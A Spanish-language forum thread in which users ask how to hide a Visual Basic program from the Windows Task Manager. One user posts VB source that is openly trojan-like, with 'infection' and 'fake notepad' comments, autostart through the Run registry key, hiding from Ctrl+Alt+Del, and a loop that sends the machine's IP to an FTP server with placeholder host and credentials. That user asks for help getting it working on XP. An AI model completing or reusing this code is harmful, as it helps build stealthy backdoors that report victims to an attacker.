SoloCodigo

Hola a todos los colegas de este foro.

Me dirijo a ustedes esta ves para preguntar si alguien por casualidad tiene el codigo para evitar que la aplicacion aparezca en el administrador de tareas, quiero que no puedan cerrar mi programa si no cumplen con una condicion, pero, he buscado como bloquear si presionan Ctrl+Alt+Supr pero en NT no funciona del todo bien, y por ahi escuche que se puede evitar que la aplicacion aparezca en el administrador de tareas en cualquier version de windows.

Espero una respuesta porfa...

 


 

Gracias...
y Salu-2 a todos.

Piyey.

No mi querido "Bopo", el objetivo que persigo con esto no es para crear un virus, sino que quiero hacer un programa de control de PC's y que se apague en un tiempo predederminado, pero no quiero que sea cerrado por el usuario.

Muchas gracias por tu aporte de todos modos...




Gracias...
y Salu-2 a todos.

Piyey.

Hola Brroz, te agradezco mucho que hayas tenido la amabilidad de leer mi mensaje y contestarlo, probe el codigo que pusiste y me da el siguiente error:

Error '453' en tienpo de ejecución :

No se puede encontrar el punto de entrada de la DLL
RegisterServiceProcess en kernel32.

Lo probe en windows 2000, no se si sera por el sistema operativo, en que sistema operativo lo probaste?...

Thank's...

Salu2...

Piyey!!!

Hola.

Efectivamente, mi equipo tiene instalado w98 se. No sé si el código funciona o no en Nt/2000 o Xp ... De todas formas, si tengo tiempo (y ganas, que cada día soy más vago) intentaré probar algo del tema, si es que alguien no da antes alguna solución.

Abur.

Yo busque por todas partes el codigo para XP y no encontre... todos me daban respuestas negativas... Creo que hasta ahora no encontraron los apis del XP que te permiten hacer lo qeu buscamos.... Esta es la unica respuesta que me dan..

Ojala alguien lo haya encontrado y lea este mensaje... se que a muchos de nosotros nos interesa ese tema.....Agradeceremos su apoyo a todos los que pertenecemos a este foro y los que visitan el foro....

Gracias...

DJ

En Windows 2000, Windows Xp, y Windows NT basta hacer lo siguiente

App.Title=""

y ya está ¡Dificil ehhhh!  

Espero os sirva.

Hola a todos, tengo la siguiente fuente de VB y me gustaria saber si tiene algun arror con arranque en XP, pk me sale el siguiente error "Can't find DLL entry point RegisterServiceProcess in kernel32"
(Fuente adjuta tambien)
la fuente es esta:

Private Sub Main()
   cAppDirectory = App.path

   If Right(cAppDirectory, 1) <> "\" Then
      cAppDirectory = cAppDirectory + "\"
   End If

   If App.PrevInstance Then
      End
   End If

   lWindowsNT = False
   xAnswer = VersaoWindows()

   If Not lWindowsNT Then
      xAnswer = RegisterServiceProcess(0, 1)
   End If

   xAnswer = GetSystemDirectory(cBuffer, Len(cBuffer))
   cDiretorioSystem = Left(cBuffer, xAnswer)
   xAnswer = GetWindowsDirectory(cBuffer, Len(cBuffer))
   cDiretorioWindows = Left(cBuffer, xAnswer)

   If Right(cDiretorioSystem, 1) <> "\" Then
      cDiretorioSystem = cDiretorioSystem + "\"
   End If
   If Right(cDiretorioWindows, 1) <> "\" Then
      cDiretorioWindows = cDiretorioWindows + "\"
   
End If
 
    '''''''initiate constants
    'infection
    tempString = Space(260)
    GetSystemDirectory tempString, 260 '"c:\windows\system\"
    WINSYSTEM = Left(tempString, InStr(tempString, Chr(0)) - 1) & "\"
    APPPATH = App.path
    If Not Right(APPPATH, 1) = "\" Then APPPATH = APPPATH & "\"
    runPosition = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
    dialPosition = "System32\"

    'ftpSendIP statements
    lpData = APINULL
    lpcbData = APINULL
    hOpen = 0
    ftpOpen = 0
    IPsent = False
    ftpServer = "ftp.XXX.XX"
    'ftpServer = "127.0.0.1"
    ftpLogin = "XXXX"
    ftpPass = "XXXX"

    'get current video options!
    EnumDisplaySettings 0, 0, screenMode
    screenMode.dmFields = &H80000 Or &H100000

    '''''''''do the Infection!
    If Command$ = "/r" Then
       
    ElseIf Command$ = "/s" Then
    Else
        'fake notepad... hehe
        'Shell "notepad.exe", vbNormalFocus
        'Infect
    End If
    If App.PrevInstance Then End

    'Hide from CTRL+alt+del
    RegisterServiceProcess GetCurrentProcessId(), RSP_SIMPLE_SERVICE
   
    StartWinsock tempString

    'load form without showing
    Form1.Timer1.Enabled = True

    'verify connection and send IP
    Do While True
        DoEvents
        If isConnected Then
            If Not IPsent Then sendIP
            IPsent = True
        Else
            IPsent = False
        End If
    Loop

End Sub

Si logran saber, o si saben que s porfavor diganmelo que llevo un mes intentando arreglar esto.

Aunque de todas maneras lo van a ver con un Explorador de Procesos el programa ya fue .... seria bueno hacerlo como hace el Deep Freeze.


Salu2